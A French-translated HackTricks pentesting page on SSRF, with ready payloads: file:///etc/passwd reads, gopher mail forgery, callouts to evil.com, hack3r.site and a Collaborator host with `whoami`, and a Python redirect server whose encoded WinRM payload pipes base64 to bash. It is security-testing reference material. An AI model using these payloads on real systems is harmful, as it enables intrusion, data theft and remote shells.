hacktricks/pentesting-web/ssrf-server-side-request-forgery
2023-12-16 14:33:49 +00:00
..
cloud-ssrf.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:33:38 +00:00
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2023-09-28 19:43:50 +00:00
ssrf-vulnerable-platforms.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-12-16 14:33:49 +00:00
url-format-bypass.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:33:38 +00:00

SSRF (Server Side Request Forgery)


Utilisez Trickest pour créer facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

La falsification de requête côté serveur (également connue sous le nom de SSRF) est une vulnérabilité de sécurité web qui permet à un attaquant d'induire l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire choisi par l'attaquant. (De ici)

Capture de SSRF

La première chose à faire est de capturer une interaction SSRF provoquée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :

Contourner les domaines autorisés

Vous constaterez généralement que le SSRF ne fonctionne que dans certains domaines autorisés ou URL. Sur la page suivante, vous trouverez une compilation de techniques pour essayer de contourner cette liste blanche :

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Contournement via redirection ouverte

Si le serveur est correctement protégé, vous pouvez contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web. Parce que la page web permettra SSRF vers le même domaine et suivra probablement les redirections, vous pouvez exploiter la redirection ouverte pour amener le serveur à accéder à n'importe quelle ressource interne.
En savoir plus ici : https://portswigger.net/web-security/ssrf

Protocoles

file://

file:///etc/passwd

dict://

Le schéma d'URL DICT est utilisé pour faire référence à des définitions ou des listes de mots disponibles en utilisant le protocole DICT :

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP://

Un protocole réseau utilisé pour le transfert sécurisé de fichiers via Secure Shell

ssrf.php?url=sftp://evil.com:11111/

TFTP://

Le protocole de transfert de fichiers trivial, fonctionne sur UDP.

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP://

Lightweight Directory Access Protocol. Il s'agit d'un protocole d'application utilisé sur un réseau IP pour gérer et accéder au service d'information de répertoire distribué.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

En utilisant ce protocole, vous pouvez spécifier l'adresse IP, le port et les octets que vous souhaitez que le serveur envoie. Ensuite, vous pouvez essentiellement exploiter une SSRF pour communiquer avec n'importe quel serveur TCP (mais vous devez d'abord savoir comment parler au service).
Heureusement, vous pouvez utiliser Gopherus pour créer des charges utiles pour plusieurs services. De plus, remote-method-guesser peut être utilisé pour créer des charges utiles gopher pour les services Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

Gopher HTTP is a technique used in server-side request forgery (SSRF) attacks. SSRF is a vulnerability that allows an attacker to make requests from the targeted server to other internal or external resources. Gopher HTTP takes advantage of the Gopher protocol, which is a simple protocol used for retrieving documents over the Internet.

In a Gopher HTTP attack, the attacker crafts a malicious request that tricks the server into making a request to a specified URL using the Gopher protocol. This can be used to bypass restrictions and access resources that are not directly accessible from the attacker's perspective.

To perform a Gopher HTTP attack, the attacker typically needs to find a vulnerable parameter that accepts URLs and is susceptible to SSRF. Once the vulnerable parameter is identified, the attacker can provide a crafted URL that starts with gopher:// followed by the desired target URL.

For example, consider the following vulnerable code snippet:

<?php
$url = $_GET['url'];
$data = file_get_contents($url);
echo $data;
?>

In this case, the url parameter is vulnerable to SSRF. An attacker can exploit this vulnerability by providing a Gopher HTTP URL as the value for the url parameter, like gopher://attacker-controlled-server/.

When the server processes the request, it will make a request to the attacker-controlled server using the Gopher protocol. The attacker can then manipulate the response from the server to extract sensitive information or perform further attacks.

It is important for developers to validate and sanitize user-supplied input to prevent SSRF attacks like Gopher HTTP. Input validation, whitelisting, and proper access controls can help mitigate the risk of SSRF vulnerabilities.

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP - Connexion arrière vers 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

SMTP

Depuis https://twitter.com/har1sec/status/1182255952055164929:
1. Connectez-vous avec SSRF sur smtp localhost:25
2. À partir de la première ligne, obtenez le nom de domaine interne 220 http://blabla.internaldomain.com ESMTP Sendmail
3. Recherchez http://internaldomain.com sur github, trouvez les sous-domaines
4. Connectez-vous

Curl URL globbing - Contournement de WAF

Si le SSRF est exécuté par curl, curl dispose d'une fonctionnalité appelée URL globbing qui peut être utile pour contourner les WAF. Par exemple, dans cette explication, vous pouvez trouver cet exemple pour une traversée de chemin via le protocole file:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}

Capturer les requêtes SSRF

SSRF via l'en-tête Referrer

Certaines applications utilisent un logiciel d'analyse côté serveur qui suit les visiteurs. Ce logiciel enregistre souvent l'en-tête Referrer dans les requêtes, car cela est particulièrement intéressant pour suivre les liens entrants. Souvent, le logiciel d'analyse visitera réellement toute URL tierce qui apparaît dans l'en-tête Referrer. Cela est généralement fait pour analyser le contenu des sites référents, y compris le texte d'ancre utilisé dans les liens entrants. Par conséquent, l'en-tête Referer représente souvent une surface d'attaque fructueuse pour les vulnérabilités SSRF.
Pour découvrir ce type de vulnérabilités "cachées", vous pouvez utiliser le plugin "Collaborator Everywhere" de Burp.

SSRF via les données SNI du certificat

La configuration incorrecte la plus simple qui vous permettrait de vous connecter à un backend arbitraire ressemblerait à ceci :

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Ici, la valeur du champ SNI est utilisée directement comme adresse du backend.

Avec cette configuration non sécurisée, nous pouvons exploiter la vulnérabilité SSRF simplement en spécifiant l'adresse IP ou le nom de domaine souhaité dans le champ SNI. Par exemple, la commande suivante forcerait Nginx à se connecter à internal.host.com:

openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf

Téléchargement de fichiers avec Wget

SSRF avec injection de commandes

Il peut être intéressant d'essayer une charge utile comme : url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Rendu des PDF

Si la page web crée automatiquement un PDF avec des informations que vous avez fournies, vous pouvez insérer du code JS qui sera exécuté par le créateur de PDF lui-même (le serveur) lors de la création du PDF et vous pourrez exploiter une SSRF. Trouvez plus d'informations ici.

De la SSRF à la DoS

Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant la SSRF à partir des sessions.

Fonctions PHP SSRF

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

Redirection SSRF vers Gopher

Pour certaines exploitations, vous devrez envoyer une réponse de redirection (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes Python pour répondre avec une redirection :

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)

self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Utilisez Trickest pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Contournement de CORS/SOP avec DNS Rebidding

Si vous avez des problèmes pour exfiltrer du contenu à partir d'une adresse IP locale en raison de CORS/SOP, DNS Rebidding peut être utilisé pour contourner cette limitation :

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

DNS Rebidding automatisé

Singularity of Origin est un outil permettant d'effectuer des attaques de rebinding DNS. Il comprend les composants nécessaires pour lier l'adresse IP du serveur d'attaque au nom DNS de la machine cible et pour servir des charges utiles d'attaque afin d'exploiter les logiciels vulnérables sur la machine cible.

Consultez également le serveur en cours d'exécution publiquement sur http://rebind.it/singularity.html****

DNS Rebidding + ID de session TLS/ID de ticket de session

Exigences :

  • SSRF
  • Sessions TLS sortantes
  • Éléments sur les ports locaux

Attaque :

  1. Demandez à l'utilisateur/robot d'accéder à un domaine contrôlé par l'attaquant
  2. Le TTL du DNS est de 0 seconde (ainsi, la victime vérifiera l'IP du domaine à nouveau bientôt)
  3. Une connexion TLS est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la charge utile à l'intérieur de l'ID de session ou du ticket de session.
  4. Le domaine va commencer une boucle infinie de redirections contre lui-même. L'objectif est de faire en sorte que l'utilisateur/robot accède au domaine jusqu'à ce qu'il effectue à nouveau une requête DNS du domaine.
  5. Dans la requête DNS, une adresse IP privée est donnée maintenant (par exemple, 127.0.0.1)
  6. L'utilisateur/robot va essayer de rétablir la connexion TLS et pour ce faire, il va envoyer l'ID de session/Ticket ID (où la charge utile de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/robot de s'attaquer lui-même.

Notez que lors de cette attaque, si vous voulez attaquer localhost:11211 (memcache), vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le port doit toujours être le même).
Pour effectuer cette attaque, vous pouvez utiliser l'outil : https://github.com/jmdx/TLS-poison/
Pour plus d'informations, consultez la présentation où cette attaque est expliquée : https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

SSRF aveugle

La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la requête SSRF. Il est donc plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.

SSRF basé sur le temps

En vérifiant le temps des réponses du serveur, il est peut-être possible de savoir si une ressource existe ou non (il se peut que l'accès à une ressource existante prenne plus de temps que l'accès à une ressource qui n'existe pas)

Exploitation de SSRF dans le cloud

Si vous trouvez une vulnérabilité SSRF dans une machine exécutée dans un environnement cloud, vous pourriez obtenir des informations intéressantes sur l'environnement cloud et même des informations d'identification :

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Plateformes vulnérables à SSRF

Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans :

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Outils

SSRFMap

Outil pour détecter et exploiter les vulnérabilités SSRF

Gopherus

Cet outil génère des charges utiles Gopher pour :

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser est un scanner de vulnérabilité Java RMI qui prend en charge les opérations d'attaque pour la plupart des vulnérabilités Java RMI courantes. La plupart des opérations disponibles prennent en charge l'option --ssrf, pour générer une charge utile SSRF pour l'opération demandée. Avec l'option --gopher, des charges utiles gopher prêtes à l'emploi peuvent être générées directement.

SSRF Proxy

SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour faire transiter le trafic HTTP du client à travers des serveurs HTTP vulnérables à la falsification de requêtes côté serveur (SSRF).

Pour s'entraîner

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}